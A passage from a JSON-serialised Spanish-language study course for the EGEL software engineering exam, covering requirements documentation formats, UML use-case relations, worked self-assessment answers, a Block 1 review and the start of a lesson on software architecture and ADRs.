formatos\n\nPara elegir la técnica de documentación, el ingeniero debe evaluar cuatro dimensiones críticas del proyecto:\n\n1. **Rigor regulatorio y criticidad del sistema:**\n   - ¿Un fallo en el software puede causar pérdidas de vidas humanas, daños ambientales o demandas penales? (Sistemas médicos, bancarios, aeronáuticos, automotrices). A mayor criticidad, mayor necesidad de documentación formal rigurosa (SRS, trazabilidad estricta, firmas de línea base).\n2. **Estabilidad y volatilidad del alcance:**\n   - Si el modelo de negocio es incierto y cambiará cada 2 semanas según la respuesta del mercado (startups, innovación), los formatos ligeros y adaptativos (Historias de Usuario, prototipos) son indispensables para evitar tirar cientos de horas de documentación a la basura.\n3. **Distribución geográfica y cultura del equipo:**\n   - Equipos que trabajan en la misma sala pueden apoyarse en historias de usuario y comunicación verbal fluida. Equipos subcontratados en diferentes continentes con barreras de idioma y zonas horarias requieren especificaciones mucho más detalladas (Casos de uso formales o SRS).\n4. **Marco contractual y legal:**\n   - Contratos a precio alzado (Fixed Price) exigen especificaciones formales detalladas para evitar disputas legales sobre el alcance. Contratos ágiles basados en tiempo y materiales (Time \u0026 Materials) operan con historias de usuario priorizadas en un backlog vivo.\n\n---\n\n## Gran Matriz Comparativa de Formatos de Documentación\n\n| Criterio | Especificación Formal (SRS / ISO 29148) | Casos de Uso Estructurados | Historias de Usuario (Ágil / INVEST) | Prototipos Interactivos |\n|---|---|---|---|---|\n| **Formato predominante** | Documento textual formal estructurado por secciones. | Texto estructurado por pasos + diagramas UML. | Tarjetas con formato Connextra + BDD (Given-When-Then). | Interfaz visual maqueta navegable (Figma, HTML). |\n| **Nivel de detalle** | Muy alto y exhaustivo. | Alto (flujos principales, alternos y excepciones). | Medio / Ligero (se complementa con la conversación). | Alto en interacción y diseño; bajo en reglas invisibles. |\n| **Audiencia principal** | Auditores, directores, clientes legales, arquitectos. | Analistas de negocio, desarrolladores, testers. | Product Owners, desarrolladores, testers ágiles. | Usuarios finales, patrocinadores comerciales. |\n| **Gestión de cambios** | Rígida; requiere Comité de Control de Cambios (CCB). | Moderada; control de versiones por caso de uso. | Muy fluida; re-priorización continua del backlog. | Muy rápida; rediseño de pantallas en horas. |\n| **Costo de mantenimiento** | Muy alto ante cambios frecuentes. | Medio. | Muy bajo. | Bajo a medio. |\n| **Mayor peligro / riesgo** | Desactualización rápida; parálisis por análisis. | Enfocarse demasiado en interacciones de UI obvias. | Omitir requerimientos no funcionales y excepciones críticas. | Que el cliente crea que la app ya está programada. |\n\n---\n\n## Escenarios de decisión profesional: Selección justificada de formato\n\n### Escenario A: Sistema de Infusión de Medicamentos en Terapia Intensiva\n- **Características:** Sistema de misión crítica médica. Un fallo en la dosis puede matar a un paciente. Certificación obligatoria ante la FDA/COFEPRIS.\n- **Decisión de formato:** **Especificación Formal de Requerimientos (SRS conforme a ISO/IEC/IEEE 29148)** complementada con **Diagramas de Máquinas de Estados** para el flujo de la bomba y **Matriz de Trazabilidad RTM total** hacia pruebas de estrés y validación biomédica.\n- **Justificación:** Las agencias reguladoras exigen evidencia documental exhaustiva de que cada línea de requerimiento fue formalmente verificada y aprobada bajo firmas electrónicas con línea base.\n\n### Escenario B: Startup de Red Social de Intercambio de Libros\n- **Características:** Presupuesto de $15,000 USD de inversionistas ángeles. El equipo debe lanzar una versión funcional en 6 semanas para validar si los jóvenes leen libros en físico.\n- **Decisión de formato:** **Historias de Usuario con formato Connextra y criterios Given-When-Then**, priorizadas mediante **MoSCoW**, acompañadas de **Prototipos clicables de alta fidelidad**.\n- **Justificación:** Escribir un SRS tradicional consumiría 4 de las 6 semanas disponibles. Las historias de usuario permiten iniciar la programación de inmediato en sprints de 1 semana, pivoteando el diseño según la retroalimentación de los primeros usuarios de prueba.\n\n### Escenario C: Modernización del Núcleo Contable de un Banco Transnacional\n- **Características:** Equipo de 80 desarrolladores distribuidos en 3 países. Sistema transaccional con reglas financieras estrictas que deben integrarse con sistemas mainframe de 30 años de antigüedad.\n- **Decisión de formato:** **Enfoque Híbrido:** Casos de uso detallados con especificación exhaustiva de pre/postcondiciones e interfaces externas (APIs/protocolos) para el núcleo financiero, descompuestos en Historias de Usuario para el seguimiento diario de los equipos de desarrollo ágil en Jira.\n\n## Errores y confusiones frecuentes\n\n- **Creer que el Manifiesto Ágil prohíbe documentar:** El manifiesto dice \"software funcionando sobre documentación exhaustiva\", lo que significa que el software es el objetivo final, no que se deba programar a ciegas sin registrar requerimientos ni reglas de negocio.\n- **Usar Historias de Usuario para requerimientos no funcionales globales:** Intentar forzar \"Como usuario quiero que el servidor soporte 10,000 usuarios en menos de 500 ms\" en una historia de usuario aislada. Los atributos de calidad globales deben documentarse como restricciones arquitectónicas transversales del sistema.\n- **Confundir el prototipo con el análisis:** Creer que porque ya se diseñaron las pantallas en Figma ya no se necesita analizar los casos de uso ni las excepciones de base de datos. Una pantalla no muestra qué pasa cuando se cae la conexión a mitad de un cobro.\n\n## Claves para el EGEL\n- Para sistemas de **misión crítica, licitaciones públicas o con regulaciones gubernamentales severas**: selecciona **SRS formal (ISO/IEC/IEEE 29148 / IEEE 830)**.\n- Para proyectos con **alta incertidumbre de mercado y desarrollo iterativo rápido**: selecciona **Historias de Usuario (INVEST)**.\n- Para procesos transaccionales complejos con flujos de excepción ramificados y contratos de integración: selecciona **Casos de Uso estructurados**.\n\n## Autoevaluación\nUna empresa farmacéutica contrata a una consultora para desarrollar el software que controlará la dosificación química de vacunas. El contrato exige certificación regulatoria internacional y auditoría de trazabilidad formal. El líder de proyecto propone no redactar documentación técnica formal para \"ser más ágiles\" y usar únicamente post-its con historias de usuario de una frase.\n¿Cómo debe calificarse profesionalmente esta decisión?\nA) Como una decisión moderna y acertada que reduce los costos del proyecto.\nB) Como una negligencia profesional grave, ya que los sistemas de misión crítica regulados exigen especificaciones formales verificables (SRS), análisis de riesgos y trazabilidad obligatoria por ley.\nC) Como la única forma viable de cumplir los plazos de entrega.\nD) Como una recomendación directa del estándar ISO 29148.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- El nivel de documentación debe ser proporcional a la criticidad del sistema y la estabilidad del proyecto.\n- Los proyectos profesionales con frecuencia adoptan modelos híbridos (Casos de uso para el contrato y la arquitectura; Historias de usuario para el sprint).\n- Ni burocracia innecesaria ni irresponsabilidad sin documentos: ingeniería orientada al valor.\n","title":"1.3.5 Comparativa y selección de formatos de documentación"},{"children":[],"contentMd":"# Repaso y consolidación: Subárea 1.3 — Documentación de requerimientos\n\n## Mapa mental conceptual\n\n```text\n                  DOCUMENTACIÓN Y ESPECIFICACIÓN DE REQUERIMIENTOS (1.3)\n                                            │\n         ┌──────────────────────────────────┼─────────────────────────────────┐\n         │                                  │                                 │\nFORMAL Y TRADICIONAL               ÁGIL Y CENTRADO EN VALOR            MODELADO VISUAL Y TRAZABILIDAD\n ├─ SRS / ERS (ISO/IEC/IEEE 29148)  ├─ Historias de Usuario (3 C's)     ├─ Casos de Uso (UML)\n │   ├─ 1. Introducción             │   ├─ Card (Como/Quiero/Para)      │   ├─ \u003c\u003cinclude\u003e\u003e (Forzoso)\n │   ├─ 2. Descripción General      │   ├─ Conversation (Refinamiento)  │   ├─ \u003c\u003cextend\u003e\u003e (Condicional)\n │   └─ 3. Requerimientos Espec.    │   └─ Confirmation (Criterios)     │   └─ Generalización\n ├─ Línea Base (Baseline)           ├─ Criterios INVEST                 ├─ Diagramas de Actividades\n └─ Comité de Cambios (CCB)         └─ BDD (Given-When-Then)            ├─ Máquinas de Estados\n                                                                        └─ Matriz de Trazabilidad (RTM)\n```\n\n## Tabla maestra de selección de formato de documentación\n\n| Tipo de Proyecto | Formato primario recomendado | Herramientas complementarias | Justificación técnica |\n|---|---|---|---|\n| **Misión crítica / Gobierno / Salud / Bancario regulado** | **SRS Formal (ISO/IEC/IEEE 29148)** | Diagramas de Estados + RTM bidireccional | Cumplimiento legal, auditoría rigurosa y minimización de riesgos de fallo. |\n| **Startup / Producto digital B2C / E-commerce innovador** | **Historias de Usuario (INVEST)** | Prototipos de alta fidelidad (Figma) | Adaptabilidad rápida ante el mercado, entregas en sprints cortos y feedback temprano. |\n| **Procesos transaccionales complejos con múltiples excepciones** | **Casos de Uso estructurados** | Diagramas de Actividades con Swimlanes | Claridad absoluta en los flujos principales, alternos y excepciones operativas. |\n| **Entidades de negocio con ciclo de vida riguroso (ej. facturas)** | **Diagrama de Máquinas de Estados** | Matriz de permisos y transiciones | Evitar que una entidad cambie a un estado ilegal o se modifique tras cerrarse. |\n\n## Resumen de relaciones UML críticas para el examen\n\n```text\n\u003c\u003cinclude\u003e\u003e:\n[Caso Base] ──────────────\u003c\u003cinclude\u003e\u003e─────────────\u003e [Caso Incluido Obligatorio]\n(La flecha discontinua sale del base hacia el incluido; SIEMPRE se ejecuta).\n\n\u003c\u003cextend\u003e\u003e:\n[Caso Extensor Opcional] ──\u003c\u003cextend\u003e\u003e─────────────\u003e [Caso Base]\n(La flecha discontinua sale del opcional hacia el base; solo se ejecuta si se cumple la condición del punto de extensión).\n```\n\n## Checklist de dominio profesional\n- [ ] Conozco las tres secciones principales de un SRS según ISO/IEC/IEEE 29148.\n- [ ] Domino las 3 C's y el acrónimo INVEST para evaluar historias de usuario.\n- [ ] Puedo redactar criterios de aceptación con la sintaxis Given-When-Then sin ambigüedades.\n- [ ] Distingo sin vacilación cuándo usar `\u003c\u003cinclude\u003e\u003e` y cuándo usar `\u003c\u003cextend\u003e\u003e` en UML.\n- [ ] Sé cómo utilizar una Matriz de Trazabilidad (RTM) para ejecutar un análisis de impacto de cambios.\n\n## Minicaso integrador de práctica\n**Escenario:** Un consorcio de transporte urbano licita la tarjeta única de transporte.\n- Requerimiento 1: El saldo se descuenta al pasar por el torniquete en menos de 300 ms.\n- Requerimiento 2: Si la tarjeta tiene saldo negativo acumulado, el torniquete bloquea el paso y muestra la alerta \"Recargue su tarjeta\".\n- Requerimiento 3: Si el usuario es estudiante o adulto mayor, se aplica automáticamente un 50% de descuento.\n- Requerimiento 4: El sistema debe cumplir con la norma de auditoría contable gubernamental NMX-I-045.\n\n**Pregunta de reflexión:** ¿Qué formato de especificación y qué diagramas visuales utilizarías para documentar este sistema ante las autoridades del transporte? (Revisa tu enfoque: Casos de uso estructurados con diagrama de actividades para el flujo en el torniquete, máquina de estados para la tarjeta y SRS/RTM formal para el cumplimiento de la norma gubernamental).\n","title":"1.3.6 Repaso y consolidación: Subárea 1.3"},{"children":[],"contentMd":"# Soluciones razonadas: Autoevaluaciones de la Subárea 1.3\n\nEn esta lección se desglosan las respuestas correctas y los distractores de las autoevaluaciones planteadas a lo largo de la subárea 1.3.\n\n---\n\n### Solución a la autoevaluación 1.3.1 (Especificación formal y cambios)\n**Pregunta:** Durante el desarrollo de un sistema aeronáutico con línea base aprobada (SRS v1.0), el cliente solicita por correo al líder técnico agregar un nuevo sensor en el panel. ¿Cuál es la conducta profesional correcta?\n\n- **Opción correcta: C** (Registrar una Solicitud de Cambio formal: RFC, realizar un análisis de impacto técnico y financiero, y someterla a la aprobación del Comité de Control de Cambios: CCB).\n- **Argumentación técnica:** Una vez aprobada la línea base de requerimientos en un proyecto formal, ningún cambio puede ingresarse de manera informal. Agregar un sensor altera el peso, cableado, interfaz de datos, cronograma y pruebas de seguridad. El procedimiento estándar exige formalizar la petición (RFC), evaluar el impacto en costos y plazos, y esperar la resolución del CCB antes de alterar el código o la documentación.\n- **Por qué fallan los distractores:**\n  - La opción A promueve el \"scope creep\" descontrolado y viola la gestión de configuración.\n  - La opción B es dogmática; los cambios no están prohibidos, están controlados.\n  - La opción D es un acto de deshonestidad e indisciplina técnica intolerable en ingeniería.\n\n---\n\n### Solución a la autoevaluación 1.3.2 (Historias de usuario e INVEST)\n**Pregunta:** *\"Como administrador del sistema quiero que la base de datos se migre a PostgreSQL para modernizar la infraestructura tecnológica.\"* ¿Qué principio de INVEST viola principalmente?\n\n- **Opción correcta: B** (Principio V: Valuable; no entrega valor directo a un usuario del negocio ni describe una funcionalidad de dominio).\n- **Argumentación técnica:** Las historias de usuario deben representar capacidades que entreguen valor al negocio o a un usuario final (Principio Valuable). Migrar de motor de base de datos es una tarea técnica de arquitectura o deuda técnica (Technical Spike/Enabler), no una historia de usuario. El usuario de negocio no experimenta ningún valor funcional nuevo por el mero cambio de motor si el sistema sigue haciendo lo mismo.\n- **Por qué fallan los distractores:**\n  - La opción A (Independent) y C (Small) no son el problema raíz; la tarea podría ser pequeña e independiente, pero carece de valor de negocio intrínseco como historia.\n  - La opción D es incorrecta porque la negociabilidad no es el defecto medular en este caso.\n\n---\n\n### Solución a la autoevaluación 1.3.3 (Casos de uso y UML)\n**Pregunta:** En un cajero automático, el usuario puede elegir entre imprimir un recibo de papel o no imprimirlo tras retirar efectivo. ¿Cómo se modela en UML?\n\n- **Opción correcta: B** (`[Imprimir Recibo] ──\u003c\u003cextend\u003e\u003e──\u003e [Retirar Efectivo]` con la condición *\"Si el usuario seleccionó imprimir recibo\"*).\n- **Argumentación técnica:** La impresión del recibo es una acción **opcional y condicional**. El usuario puede retirar efectivo exitosamente sin imprimir ningún recibo. Por definición de la semántica UML, el caso extensor (`Imprimir Recibo`) extiende al caso base (`Retirar Efectivo`), y la flecha discontinua apunta **hacia el caso base**.\n- **Por qué fallan los distractores:**\n  - La opción A comete el gravísimo error de usar `\u003c\u003cinclude\u003e\u003e`, lo que obligaría a imprimir recibo siempre e incondicionalmente a todos los usuarios.\n  - La opción C invierte erróneamente el sentido de la flecha de extensión.\n  - La opción D confunde herencia con adición de comportamiento opcional.\n\n---\n\n### Solución a la autoevaluación 1.3.4 (Trazabilidad y modelado)\n**Pregunta:** El cliente cambia las reglas de facturación a mitad del desarrollo y el líder necesita saber exactamente qué clases y qué casos de prueba deberán modificarse y re-probarse. ¿A qué instrumento debe recurrir?\n\n- **Opción correcta: B** (A la Matriz de Trazabilidad de Requerimientos: RTM mediante análisis de trazabilidad hacia adelante).\n- **Argumentación técnica:** La Matriz de Trazabilidad hacia adelante (Forward Traceability) mapea cada ID de requerimiento con sus correspondientes casos de uso, componentes de código fuente y casos de prueba de QA. Al identificar el requerimiento modificado, la RTM revela de inmediato el grafo exacto de artefactos afectados para estimar el costo del cambio y ejecutar pruebas de regresión dirigidas.\n- **Por qué fallan los distractores:**\n  - La opción A (diagrama de casos de uso) no vincula con código ni con casos de prueba.\n  - Las opciones C y D son totalmente ajenas a la gestión de dependencias técnicas de software.\n\n---\n\n### Solución a la autoevaluación 1.3.5 (Selección de formatos)\n**Pregunta:** En software de dosificación de vacunas con regulación internacional obligatoria, el líder propone no documentar para \"ser ágiles\" y usar solo post-its con historias de una frase. ¿Cómo debe calificarse?\n\n- **Opción correcta: B** (Como una negligencia profesional grave, ya que los sistemas de misión crítica regulados exigen especificaciones formales verificables: SRS, análisis de riesgos y trazabilidad obligatoria por ley).\n- **Argumentación técnica:** El desarrollo ágil no es una excusa para omitir la ingeniería rigurosa en dominios donde la vida humana está en juego. Las agencias reguladoras farmacéuticas y médicas exigen trazabilidad completa, especificaciones formales sin ambigüedades y verificación documental de cada paso para autorizar la liberación de un producto biológico. Ignorar esto acarrea cancelación de licencias, multas y potencial responsabilidad penal.\n- **Por qué fallan los distractores:**\n  - Las opciones A, C y D aplican criterios superficiales o citan falsamente estándares internacionales para justificar la irresponsabilidad técnica.\n","title":"1.3.7 Soluciones razonadas: Autoevaluaciones de la Subárea 1.3"}],"contentMd":"","title":"1.3 Técnicas y herramientas de documentación de requerimientos"},{"children":[],"contentMd":"# Repaso integrador — Bloque 1: Análisis de Sistemas de Software\n\n## Visión panorámica del Bloque 1 (61 reactivos de referencia)\nEl análisis de sistemas de software representa aproximadamente el 21.5% de toda la evaluación profesional EGEL. Domina el ciclo de vida inicial del software y se sustenta sobre tres pilares interconectados:\n\n```text\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                           ANÁLISIS DE SISTEMAS                              │\n├───────────────────────┬─────────────────────────────┬───────────────────────┤\n│ 1.1 Tipos de Req.     │ 1.2 Proceso de Elicitación  │ 1.3 Documentación     │\n│ (22 reactivos)        │     y Validación (19 react) │     (20 reactivos)    │\n├───────────────────────┼─────────────────────────────┼───────────────────────┤\n│ • Jerarquía de reqs.  │ • Técnicas de obtención     │ • SRS (ISO/IEEE 29148)│\n│ • Funcionales vs RNF  │ • Resolución de conflictos  │ • Historias e INVEST  │\n│ • Calidad ISO 25010   │ • Priorización (MoSCoW, etc)│ • BDD (Given-When-Then)│\n│ • Reglas vs Restricc. │ • Verificación vs Validación│ • Casos de uso y UML  │\n│ • Ambigüedad y métricas│ • Criterios de aceptación  │ • RTM y Línea Base    │\n└───────────────────────┴─────────────────────────────┴───────────────────────┘\n```\n\n---\n\n## Relaciones estructurales entre las tres subáreas\n\n1. **De la Clasificación (1.1) a la Elicitación (1.2):**\n   - No se puede elicitar lo que no se sabe clasificar. Cuando aplicas una entrevista o una sesión de shadowing (1.2), el usuario te entregará una mezcla caótica de problemas. Tu labor inmediata consiste en aplicar los filtros de la subárea 1.1 para separar reglas de negocio, necesidades de usuario, atributos de calidad y restricciones tecnológicas.\n2. **Del Análisis (1.2) a la Documentación (1.3):**\n   - Los requerimientos analizados, desambiguados y priorizados mediante MoSCoW o WSJF (1.2) se formalizan en artefactos de comunicación técnica (1.3): las historias de usuario alimentan los sprints ágiles; los casos de uso modelan las transacciones complejas; el SRS blinda el contrato de entrega y la RTM garantiza que ningún requerimiento quede sin código ni pruebas.\n3. **De la Trazabilidad (1.3) a la Validación (1.2 y 1.1):**\n   - La Matriz de Trazabilidad RTM (1.3) es el puente de comprobación que permite a los evaluadores verificar la completitud técnica y validar con el cliente que el sistema satisfizo los objetivos de negocio iniciales (1.1).\n\n---\n\n## Gran Tabla de Decisiones para el EGEL: Bloque 1\n\n| Si el reactivo del examen describe... | Tu primer razonamiento debe ser... | Respuesta conceptual esperada |\n|---|---|---|\n| Una política legal, financiera o corporativa que existe sin computadoras | \"Esto pertenece al dominio del negocio, no a una pantalla.\" | **Regla de Negocio** |\n| Una directriz obligatoria impuesta sobre el lenguaje, hardware o sistema operativo | \"El cliente limitó el abanico de decisiones de diseño del arquitecto.\" | **Restricción de Diseño / Técnica** |\n| Una meta medible de latencia, disponibilidad, concurrencia o seguridad | \"Define CÓMO opera el software bajo parámetros del estándar ISO 25010.\" | **Requerimiento No Funcional (Calidad)** |\n| Una acción transaccional de entrada/salida (\"registrar\", \"calcular\", \"emitir\") | \"Define QUÉ servicio entrega el software al usuario.\" | **Requerimiento Funcional** |\n| Usuarios dispersos que realizan tareas operativas difíciles de verbalizar | \"Se necesita capturar el conocimiento tácito en el terreno real.\" | **Observación directa (Shadowing)** |\n| Disputas políticas entre gerentes de diferentes áreas sobre un proceso | \"Se requiere negociación estructurada con un moderador neutral.\" | **Taller facilitado JAD** |\n| Necesidad de definir el alcance mínimo viable (MVP) bajo presupuesto fijo | \"Clasificar lo obligatorio de lo negociable y lo prescindible.\" | **Método MoSCoW** |\n| Evaluar si el documento no tiene contradicciones ni ambigüedades | \"Auditoría interna de calidad técnica del documento.\" | **Verificación de requerimientos** |\n| Confirmar con el usuario final que el software resuelve su necesidad real | \"Auditoría de adecuación con el cliente y el negocio.\" | **Validación de requerimientos** |\n| Una funcionalidad opcional o contingente que amplía un caso base en UML | \"No es obligatoria; depende de una condición específica.\" | **Relación `\u003c\u003cextend\u003e\u003e`** |\n| Una funcionalidad que siempre se ejecuta obligatoriamente en un caso de uso | \"Es indispensable para completar la meta del caso base.\" | **Relación `\u003c\u003cinclude\u003e\u003e`** |\n| Necesidad de saber qué código y pruebas se impactan al cambiar un requerimiento | \"Seguir la pista hacia adelante desde el requerimiento.\" | **Matriz de Trazabilidad (RTM)** |\n\n---\n\n## Errores transversales que destruyen reactivos en el Bloque 1\n\n1. **El error de la \"tecnología como necesidad\":** El cliente dice \"necesito blockchain\" o \"necesito una app en Flutter\". Desecha cualquier opción que clasifique eso como un requerimiento funcional. Es una **solución propuesta** o una **restricción tecnológica**, nunca la necesidad primaria.\n2. **El error del \"no funcional como accesorio\":** Creer que los RNF son sugerencias secundarias. En sistemas bancarios o de salud, si no cumples el RNF de disponibilidad o seguridad, el sistema no puede operar legalmente.\n3. **Invertir la flecha de `\u003c\u003cextend\u003e\u003e`:** Recordar siempre que la flecha de `\u003c\u003cextend\u003e\u003e` apunta **HACIA** el caso base, a diferencia de `\u003c\u003cinclude\u003e\u003e` que apunta hacia el caso incluido.\n4. **Confundir verificación con validación:** Memoriza: Verificación = Estándar técnico y consistencia lógica interna; Validación = Satisfacción del cliente y resolución del problema del mundo real.\n\n---\n\n## Macro-Caso Integrador de Examen: La Red de Salud \"SaludTotal\"\n**Planteamiento del escenario:**\nUna red hospitalaria licita el desarrollo de su nuevo sistema de urgencias y terapia intensiva. El proyecto cuenta con un plazo estricto de 9 meses antes de una auditoría federal de salubridad:\n1. El director médico solicita que los médicos firmen recetas electrónicamente con certificados digitales oficiales para cumplir la norma federal de control de narcóticos.\n2. Los médicos de urgencias afirman que no tienen tiempo de escribir contraseñas y piden que el sistema use reconocimiento de voz en la sala de choque.\n3. El área de TI exige que los datos se alojen en servidores locales Linux porque ya cuentan con el hardware en su centro de datos.\n4. La dirección administrativa exige que el sistema no se caiga nunca (disponibilidad del 99.999%).\n5. El equipo de desarrollo empieza a recibir solicitudes de cambio diarias por parte de los jefes de enfermería que alteran los flujos acordados inicialmente.\n\n### Preguntas de análisis profesional integrador:\n1. **¿Cómo se clasifican los requerimientos 1, 3 y 4?**\n   - Requerimiento 1: **Regla de Negocio Legal** implementada como requerimiento funcional de firma electrónica.\n   - Requerimiento 3: **Restricción Tecnológica y de Infraestructura**.\n   - Requerimiento 4: **Requerimiento No Funcional de Fiabilidad (Disponibilidad extrema)**.\n2. **¿Qué técnica de elicitación debió aplicarse con los médicos de urgencias para evitar la inviable solicitud de reconocimiento de voz en una sala de choque ruidosa?**\n   - **Observación directa (Shadowing)** en la sala de choque. El analista habría visto de inmediato que el ruido de sirenas, alarmas y monitores hace inviable el reconocimiento de voz, proponiendo en su lugar tarjetas RFID o lectores biométricos de pulso rápido.\n3. **¿Cómo debe actuar el líder de proyecto ante las solicitudes de cambio diarias de enfermería (Punto 5)?**\n   - Establecer de inmediato la **Línea Base formal del SRS**, congelando el alcance acordado, y canalizar todas las nuevas solicitudes a través del **Comité de Control de Cambios (CCB)** evaluando el impacto en el plazo fatal de 9 meses.\n\n---\n\n## Checklist final de dominio para el Bloque 1\nAntes de continuar al Bloque 2 (Diseño de Sistemas), confirma que puedes:\n- [ ] Identificar sin dudar si un requerimiento es funcional, no funcional, regla de negocio o restricción.\n- [ ] Cuantificar atributos de calidad con métricas medibles según ISO/IEC 25010.\n- [ ] Seleccionar la técnica de elicitación correcta según el perfil de usuario y el entorno.\n- [ ] Priorizar requerimientos aplicando MoSCoW, Matriz Valor/Esfuerzo y WSJF.\n- [ ] Diferenciar verificación y validación con la regla de Barry Boehm.\n- [ ] Redactar historias de usuario con INVEST y criterios Given-When-Then.\n- [ ] Modelar casos de uso UML utilizando `\u003c\u003cinclude\u003e\u003e` y `\u003c\u003cextend\u003e\u003e` con la semántica y dirección de flechas correcta.\n- [ ] Rastrear dependencias y analizar el impacto de cambios mediante una Matriz de Trazabilidad (RTM).\n","title":"1.4 Repaso integrador — Bloque 1: Análisis de Sistemas de Software"}],"shortDescription":"Comprensión, clasificación, elicitación, análisis, priorización, validación y documentación rigurosa de requerimientos de software con orientación al EGEL (Peso: 61 reactivos).","title":"Bloque 1. Análisis de Sistemas de Software"},{"children":[{"children":[{"children":[],"contentMd":"# Fundamentos de arquitectura de software y decisiones arquitectónicas (ADRs)\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de definir y conceptualizar la arquitectura de software como un conjunto estructurado de decisiones de diseño y compensaciones (trade-offs), identificando componentes, conectores, fronteras, dependencias y registrando decisiones mediante Registros de Decisión Arquitectónica (ADR - Architectural Decision Records).\n\n## ¿Por qué importa en la práctica profesional?\nLa arquitectura de software no es un dibujo estético de cajas y flechas en una diapositiva. Según Martin Fowler y Ralph Johnson, *\"la arquitectura es aquello que resulta costoso y difícil de cambiar más adelante\"*. Si un equipo elige una base de datos documental para un sistema bancario transaccional o implementa 40 microservicios para una aplicación con 10 usuarios, las consecuencias técnicas y financieras pueden destruir a la empresa. La arquitectura de software establece las restricciones fundamentales que permiten o impiden que el sistema alcance sus atributos de calidad deseados.\n\n## ¿Qué es la Arquitectura de Software?\n\nLa arquitectura de un sistema de software es la estructura del sistema, compuesta por:\n1. **Componentes de software:** Unidades computacionales o módulos que encapsulan datos y procesamiento (servicios, capas, librerías, controladores).\n2. **Conectores:** Mecanismos que coordinan y gestionan la comunicación y transferencia de datos entre componentes (llamadas a procedimientos locales, sockets TCP, colas de mensajes, peticiones HTTP/REST, pipes).\n3. **Relaciones y fronteras:** La topología y las interfaces que delimitan qué componente es responsable de qué tarea y qué dependencias tiene permitidas.\n4. **Principios rectores y restricciones:** Las reglas de diseño que guían la evolución del sistema a lo largo del tiempo.\n\n### El rol de los Atributos de Calidad como \"Impulsores Arquitectónicos\" (Architectural Drivers)\nExiste un axioma cardinal en la ingeniería de software:\n\u003e *Los requerimientos funcionales definen QUÉ hace el software; los atributos de calidad (requerimientos no funcionales) dictan la ARQUITECTURA.*\n\nCualquier arquitectura monolítica simple puede calcular una nómina o procesar un pedido (funcionalidad). Lo que obliga a diseñar arquitecturas distribuidas, redundantes o particionadas no es la nómina, sino los requerimientos no funcionales: ¿debe procesar 100,000 nóminas en 10 minutos? ¿debe estar disponible 99.999% ante caídas de centros de datos? ¿debe auditar cada cambio con fines legales? Estos son los impulsores arquitectónicos.\n\n---\n\n## Registros de Decisión Arquitectónica (ADR - Architectural Decision Records)\n\nEn la industria profesional moderna, las decisiones de diseño no se toman de manera informal ni se guardan en la memoria de un arquitecto. Se documentan formalmente mediante **ADRs**. Un ADR es un documento breve y versionado en el repositorio que captura:\n\n### Estructura estándar de un ADR (Formato Michael Nygard):\n1. **Título:** Número y frase imperativa corta (ej. `ADR-005: Uso de arquitectura orientada a eventos para conciliación de pagos`).\n2. **Estado:** Propuesto, Aceptado, Rechazado, Obsoleto (Deprecated) o Reemplazado (Superseded).\n3. **Contexto:** El problema tecnológico o de negocio, las fuerzas contrapuestas y las restricciones que motivan la decisión.\n4. **Decisión:** La solución arquitectónica elegida de forma clara y sin ambigüedades.\n5. **Consecuencias:** Lo que se gana (ventajas) y, fundamentalmente, **lo que se pierde o complica (desventajas, costos y nuevos riesgos asumidos)**.\n\n### Ejemplo real de un ADR en código/repositorio:\n\n```markdown\n# ADR-012: Adopción de PostgreSQL con réplica de solo lectura frente a MongoDB\n\n## Estado\nAceptado\n\n## Contexto\nEl sistema de subastas en línea \"Subastaya\" experimenta un incremento de 300% en consultas de catálogo concurrentes. La integridad financiera de las pujas exige transacciones ACID estrictas para evitar que dos usuarios ganen el mismo artículo. El equipo evaluó migrar a MongoDB por su facilidad de escalado horizontal, o mantener PostgreSQL optimizando la infraestructura.\n\n## Decisión\nConservaremos PostgreSQL como motor de base de datos transaccional principal e implementaremos una réplica de solo lectura (Read Replica) mediante streaming replication asíncrono para absorber las consultas de catálogo de los usuarios.\n\n## Consecuencias\n- **Positivas:** Se preservan las garantías ACID transaccionales nativas sin riesgo de inconsistencia en las pujas; no se requiere reescribir la lógica de consultas SQL existente.\n- **Negativas:** La réplica de solo lectura introduce un desfase de consistencia eventual de unos pocos milisegundos (Replication Lag); las consultas al catálogo podrían mostrar un artículo como disponible durante una fracción de segundo tras haberse vendido.\n```\n\n---\n\n## Comparativa: Diseño Arquitectónico vs Diseño Detallado\n\n| Criterio | Diseño Arquitectónico (Alto Nivel) | Diseño Detallado (Bajo Nivel) |\n|---|---|---|\n| **Alcance** | Todo el sistema y sus subsistemas principales. | Módulos individuales, clases, métodos y algoritmos. |\n| **Foco principal** | Atributos de calidad, trade-offs, escalabilidad, seguridad. | Cohesión, acoplamiento interno, firmas de funciones, bucles. |\n| **Dificultad de cambio** | Extremadamente alta y costosa (meses de trabajo). | Media / Baja (refactorizaciones locales de días u horas). |\n| **Artefactos típicos** | Diagramas de componentes, estilos arquitectónicos, ADRs. | Diagramas de clases, diagramas de secuencia, código fuente. |\n| **Ejemplo representativo** | Decidir si el sistema será un monolito modular o microservicios. | Decidir si se implementa el patrón Strategy o Factory en una clase. |\n\n## Escenario de decisión profesional: La plataforma de streaming \"LiveSport\"\nUna startup deportiva transmitirá la final de un torneo de fútbol. Se esperan 2 millones de espectadores concurrentes durante 90 minutos, pero el tráfico diario habitual es de apenas 5,000 personas. El presupuesto es limitado.\n\n**Análisis de decisiones y trade-offs:**\n- *Opción A:* Adquirir y aprovisionar servidores dedicados permanentes con capacidad para 2 millones de personas.\n  - *Consecuencia:* Costo económico ruinoso; el hardware estará ocioso el 99% del año.\n- *Opción B:* Diseñar una arquitectura híbrida con núcleo de autenticación y pagos centralizado, y delegar la distribución de video en una Red de Distribución de Contenidos (CDN - Content Delivery Network) con escalado elástico bajo demanda.\n  - *Decisión justificada:* Se adopta la Opción B mediante un ADR formal. La arquitectura descarga el 98% del tráfico de red en los servidores perimetrales (Edge) de la CDN, garantizando disponibilidad y costo proporcional al consumo real del evento.\n\n## Errores y confusiones frecuentes\n\n- **Creer que existe la \"arquitectura perfecta\":** Toda arquitectura es un compromiso entre fuerzas opuestas. Si maximizas la seguridad extrema mediante cifrado continuo, sacrificas latencia; si maximizas la desacoplación total mediante eventos asíncronos, sacrificas la consistencia inmediata de los datos.\n- **Arquitectura sin documentación de decisiones:** Tomar decisiones críticas en conversaciones informales. Un año después, cuando los desarrolladores originales abandonan la empresa, nadie sabe por qué se eligió cierta tecnología 